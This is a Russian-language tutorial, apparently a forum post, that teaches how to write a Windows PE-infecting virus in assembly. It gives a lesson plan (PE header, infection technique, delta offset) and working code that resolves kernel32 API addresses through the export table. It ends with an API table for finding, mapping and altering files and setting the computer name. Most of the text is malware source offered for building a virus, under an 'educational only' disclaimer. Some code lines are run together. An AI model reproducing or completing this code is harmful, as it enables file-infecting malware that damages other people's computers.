Почти каждый, кто изучает язык ассемблера, рано или поздно пишет вирус, некоторые люди пишут вирус, когда заканчивают изучать какой-нибудь язык программирования... Прежде чем читать то, что я буду писать ниже и понимать хоть что-нибудь, вы должны: а) знать основные команды ассемблера б) уметь пользоватся АПИ-функциями в) взять где-нибудь (можно и у меня) TASM32 (можно и другой, но каждый компилятор имеет свои особенности). г) отладчик (если собираетесь собственноручно создать зверька, то без отладки довольно трудно найти ошибки) д) прогу, которая прикреплена (на неё вопит касперский, но это не вирус!!!! ) е) иметь здоровую голову (если вы хотите испортить все компы на Земле, то ваше место в больнице, а не здесь) ё) ПОМНИТЬ, ЧТО ЭТОТ МАТЕРИАЛ ПРЕДСТАВЛЕН ТОЛЬКО В ЦЕЛЯХ ОБУЧЕНИЯ, И ЗА ПОСЛЕДСТВИЯ Я НИКАКОЙ ОТВЕТСТВЕННОСТИ НЕ НЕСУ Вроде всё.
Теперь план обучения: 1) формат заголовка файла РЕ 2) разбор основных полей заголовка РЕ 3) методика заражения 4) дельта-смещение. 5) поиск АПИ 6) разбор используемых АПИ 7) пишем код 8) Reserved
Теперь адрес кернела мы знаем. Теперь будем искать адреса API-шек. В кернеле есть таблица экспорта её RVA находится по смещению 78h относительно заголовка РЕ. Там начиная со смещения 1Ch идут такие элементы:
Address Table RVA адрес таблицы адресов относительно базы кернела
Name Pointers RVA адрес таблицы указателей на строки с именами функций тоже относительный
Ordinal Table RVA адрес таблицы ординалов
Теперь код.
get_export:
mov esi, [eax+edx+78h] ; get export rva
lea esi, [esi+eax+1ch] ; esi=указатель на адрес таблицы адресов
xchg eax, ebx; in ebx kernelBase. eax буду юзать
mov ecx, 3
loop_lodsd:
lodsd ; в eax RVA
add eax,ebx; VA
push eax
dec cljnz loop_lodsd
; в цикле загоняем в стек адреса таблиц с которыми будем работать
lea edi,[ebp+offset GetWindowsDirectoryA_]
; указатель на строку с именем первой требуемой АПИ (учитывая дельту)
main_loop:
str_lenth:
xor eax, eax
mov esi, edi
s4et:
scasb
jnz s4et
mov edx,esi
sub edi,esi; посчитали длину имени она теперь в edi
mov esi,[esp+4]
; в esi адрес таблицы указателей на строки с именами АПИ
mov ecx,edi; ecx=edi=length(string)
searchAPI:
push esi
mov edi,edx
mov esi,[esi] ; вытягиваем адрес (rva)
push ecx
add esi, ebx; rva to VA
cld
rep cmpsb ;сравниваем две строки
pop ecx
pop esijz equal ; если они равны
inc ax; в ах счётчик (мы считаем, какое по счёту имя сходится с именем искомой АПИ)
add esi, 4 ; к следующему имени
jmp searchAPI
equal:
; нашли номер функции, надонайти ординал, а когда найдём ординал, то найдём адрес
shl eax, 1 ; таблица ординалов состоит из двухбайтовых цифр, поэтому умножаем еах на 2
mov ecx, [esp] ; первым в стеке лежит указатель на таблицу ординалов
; а на первый элемент всегда esp указывает
add ecx, eax; переходим к нужному ординалу
mov ecx, [ecx] ; кидаем ординал в есх
and ecx, 0ffffh ; обрубаем старшие 2 байта.
shl ecx, 2 ; таблица адресов состоит из 4байтовых элементов (умножаем ординал на 4)
mov eax, [esp+4*2] ; 3ий в стеке лежит адрес таблицы адресов
add eax, ecx; ищем нужный адрес
mov eax, [eax] ; достаём RVA функции в еах
add eax, ebx; преобразуем в VA
mov [edi], eax; в edi адрес конца нашей строки, то есть адрес хранится за строкой
cmp wordptr [edi+4], 0B0BAH
; это последняя искомая АПИ? (0B0BAh - метка конца нашей таблицы)
je vse_naideno ; да - идём дальше
add edi, 4 ; нет - прибавляем к edi 4 (перескакиваем на имя следующей АПИ)
jmp main_loop ; повторяем цикл
; в конце файла должна быть такая примерно таблица
GetWindowsDirectoryA_ db'GetWindowsDirectoryA', 0 ; первая нужная АПИ
_GetWindowsDirectoryA dd 0 ; после каждого имени место под адрес
SetCurrentDirectoryA_ db'SetCurrentDirectoryA', 0
_SetCurrentDirectoryA dd 0
CreateFileA_ db'CreateFileA', 0
_CreateFileA dd 0
FindFirstFileA_ db'FindFirstFileA', 0
_FindFirstFileA dd 0
FindNextFileA_ db'FindNextFileA', 0
_FindNextFileA dd 0
CreateFileMappingA_ db'CreateFileMappingA', 0
_CreateFileMappingA dd 0
MapViewOfFile_ db'MapViewOfFile', 0
_MapViewOfFile dd 0
UnmapViewOfFile_ db'UnmapViewOfFile', 0
_UnmapViewOfFile dd 0
SetFilePointer_ db'SetFilePointer', 0
_SetFilePointer dd 0
SetFileAttributesA_ db'SetFileAttributesA', 0
_SetFileAttributesA dd 0
CloseHandle_ db'CloseHandle', 0
_CloseHandle dd 0
FindClose_ db'FindClose', 0
_FindClose dd 0
SetComputerNameA_ db'SetComputerNameA', 0
_SetComputerNameA dd 0
my_name_is dw 0B0BAH ; метка конца